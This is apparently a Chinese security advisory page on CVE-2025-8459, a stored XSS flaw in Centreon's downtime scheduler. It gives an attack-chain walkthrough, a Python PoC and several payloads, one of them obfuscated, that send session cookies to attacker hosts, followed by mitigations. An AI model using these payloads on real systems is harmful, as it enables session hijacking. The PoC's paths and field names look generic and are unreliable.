IPBUF安全漏洞报告
English
CVE-2025-8459 CVSS 7.7 高危

CVE-2025-8459 Centreon监控平台存储型XSS漏洞

披露日期: 2025-10-14
来源: bd4443e6-1eef-43f3-9886-25fc9ceeaae7

漏洞信息

漏洞编号
CVE-2025-8459
漏洞类型
存储型跨站脚本攻击(Stored XSS)
CVSS评分
7.7 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Centreon Infra Monitoring(监控定期停机调度模块)

相关标签

CVE-2025-8459Stored XSS跨站脚本CentreonInfra Monitoring基础设施监控高危漏洞会话劫持Web安全OWASP Top 10

漏洞概述

CVE-2025-8459是Centreon基础设施监控平台(Infra Monitoring)中监控定期停机调度模块(Monitoring recurrent downtime scheduler modules)存在的一个存储型跨站脚本(Stored XSS)漏洞。该漏洞源于Web页面生成过程中对用户输入的不当中和处理(Improper Neutralization of Input During Web Page Generation),属于OWASP Top 10中常见的注入类安全缺陷。

Centreon是一款广泛使用的开源IT基础设施监控解决方案,被大量企业用于监控网络设备、服务器和应用程序的运行状态。该漏洞允许具有低权限认证的攻击者将恶意JavaScript脚本注入到监控定期停机调度功能中,由于是存储型XSS,恶意载荷会被持久化保存在服务器端,当其他用户(包括管理员)访问相关页面时,恶意脚本将在受害者浏览器中自动执行。

该漏洞的CVSS 3.1评分为7.7分,属于高危级别。其攻击向量为网络(AV:N),攻击复杂度低(AC:L),需要低权限认证(PR:L),无需用户交互(UI:N),且存在范围变更(S:C),对机密性影响为高(C:H),对完整性和可用性无直接影响。攻击者可利用此漏洞窃取管理员会话凭据、获取敏感监控数据,或在受信任的监控平台上下文中执行进一步攻击。

技术细节

该漏洞存在于Centreon的监控定期停机调度模块中,属于典型的存储型XSS缺陷。其根本原因是应用程序在处理用户提交的与定期停机计划(recurrent downtime schedule)相关的输入字段时,未对输入内容进行充分的HTML/JavaScript编码或过滤,导致恶意脚本被直接存储到后端数据库中。

当合法用户(尤其是具有更高权限的管理员)查看或管理这些停机调度配置时,服务器从数据库中读取并渲染存储的数据,恶意脚本将在受害者浏览器上下文中执行。由于Centreon监控平台通常部署在企业内网核心位置,管理员会话被劫持后,攻击者可获取对整个IT基础设施监控系统的控制权。

利用方式如下:
1. 攻击者使用低权限账户登录Centreon Web界面;
2. 导航至监控定期停机调度配置页面;
3. 在相关输入字段(如停机原因描述、调度名称等)中注入恶意JavaScript载荷,如`<script>document.location='https://attacker.com/steal?cookie='+document.cookie</script>`;
4. 提交配置后,恶意载荷被存储到后端;
5. 当管理员或其他用户查看该调度配置时,脚本自动执行,实现会话劫持或敏感信息窃取。

由于攻击复杂度低且无需用户交互,该漏洞可被自动化利用,对企业监控基础设施构成严重威胁。

攻击链分析

STEP 1
步骤1:获取低权限账户
攻击者通过钓鱼、社会工程或其他方式获取Centreon监控平台的低权限用户凭据,或注册新账户(如果系统允许)。
STEP 2
步骤2:登录系统并定位目标模块
使用获取的凭据登录Centreon Web管理界面,导航至监控定期停机调度(Monitoring recurrent downtime scheduler)模块。
STEP 3
步骤3:注入恶意XSS载荷
在停机调度的描述、名称或其他可输入字段中注入精心构造的JavaScript恶意载荷(如会话窃取脚本),提交表单将数据持久化存储到后端数据库。
STEP 4
步骤4:等待受害者触发
恶意载荷被存储后,当管理员或其他高权限用户查看该停机调度配置页面时,服务器从数据库读取并渲染恶意内容,浏览器自动执行注入的脚本。
STEP 5
步骤5:窃取敏感信息或劫持会话
恶意脚本在受害者浏览器上下文中执行,窃取会话Cookie、敏感监控数据或执行其他恶意操作(如以管理员身份执行未授权操作)。
STEP 6
步骤6:横向移动与权限提升
利用窃取的管理员会话,攻击者可访问Centreon的全部监控功能,获取企业IT基础设施的完整拓扑信息,进一步实施内网渗透或数据窃取攻击。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-8459 - Centreon Stored XSS PoC # Target: Centreon Infra Monitoring - Recurrent Downtime Scheduler Module # Author: Security Researcher # Description: Exploits improper input neutralization in downtime scheduler fields import requests from bs4 import BeautifulSoup # Configuration TARGET_URL = "https://target-centreon.example.com/centreon" USERNAME = "low_priv_user" PASSWORD = "password123" # Malicious JavaScript payload for session hijacking XSS_PAYLOAD = '<script>var i=new Image();i.src="https://attacker.example.com/steal?c="+document.cookie+"&u="+document.location;</script>' def exploit_stored_xss(): """ Exploit stored XSS in Centreon recurrent downtime scheduler. The payload is stored in the downtime description field and executed when an admin views the scheduler page. """ session = requests.Session() # Step 1: Authenticate to Centreon with low-privilege credentials login_url = f"{TARGET_URL}/api/latest/login" login_data = { "security": { "credentials": { "login": USERNAME, "password": PASSWORD } } } resp = session.post(login_url, json=login_data, verify=False) print(f"[*] Login response: {resp.status_code}") # Step 2: Navigate to recurrent downtime scheduler module scheduler_url = f"{TARGET_URL}/centreon/main.php?p=60101" resp = session.get(scheduler_url, verify=False) soup = BeautifulSoup(resp.text, 'html.parser') # Step 3: Extract CSRF token from the form token_field = soup.find('input', {'name': 'centreon_token'}) if token_field: csrf_token = token_field.get('value') print(f"[*] CSRF Token obtained: {csrf_token[:20]}...") # Step 4: Submit malicious payload via downtime scheduler form downtime_url = f"{TARGET_URL}/centreon/main.php?p=60101&o=a" form_data = { "centreon_token": csrf_token, "downtime_name": "Scheduled Maintenance", "downtime_description": XSS_PAYLOAD, # Injected malicious script "downtime_period": "1", "start_time": "00:00", "end_time": "23:59", "recurrence_type": "weekly", "host_services": "all", "submit": "Save" } resp = session.post(downtime_url, data=form_data, verify=False) print(f"[*] Payload submission response: {resp.status_code}") if resp.status_code in [200, 302]: print("[+] XSS payload successfully stored in downtime scheduler!") print("[+] When an admin views this scheduler entry, the script will execute.") print("[+] Stolen cookies/data will be sent to: https://attacker.example.com/steal") else: print("[-] Payload submission failed") if __name__ == "__main__": exploit_stored_xss() # Alternative simple payload for manual testing: # In the downtime description field, inject: # <script>alert('XSS-CVE-2025-8459')</script> # <img src=x onerror=fetch('https://attacker.com/?c='+document.cookie)> # <svg onload=eval(atob('ZmV0Y2goImh0dHBzOi8vYXR0YWNrZXIuY29tLz9jPSIrZG9jdW1lbnQuY29va2llKQ=='))>

影响范围

Centreon Infra Monitoring >= 24.10.0, < 24.10.13
Centreon Infra Monitoring >= 24.04.0, < 24.04.18
Centreon Infra Monitoring >= 23.10.0, < 23.10.28

防御指南

临时缓解措施
在无法立即升级的情况下,建议采取以下临时缓解措施:1)限制对监控定期停机调度模块的访问权限,仅允许受信任的管理员使用该功能;2)在Web代理或WAF层面部署XSS过滤规则,拦截包含`<script>`、事件处理器(如onerror、onload)等常见XSS载荷的请求;3)启用严格的内容安全策略(CSP),限制内联脚本执行;4)对所有会话Cookie设置HttpOnly标志,降低会话被盗风险;5)密切监控Centreon访问日志,识别可疑的停机调度配置变更行为;6)尽快安排升级至官方修复版本。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表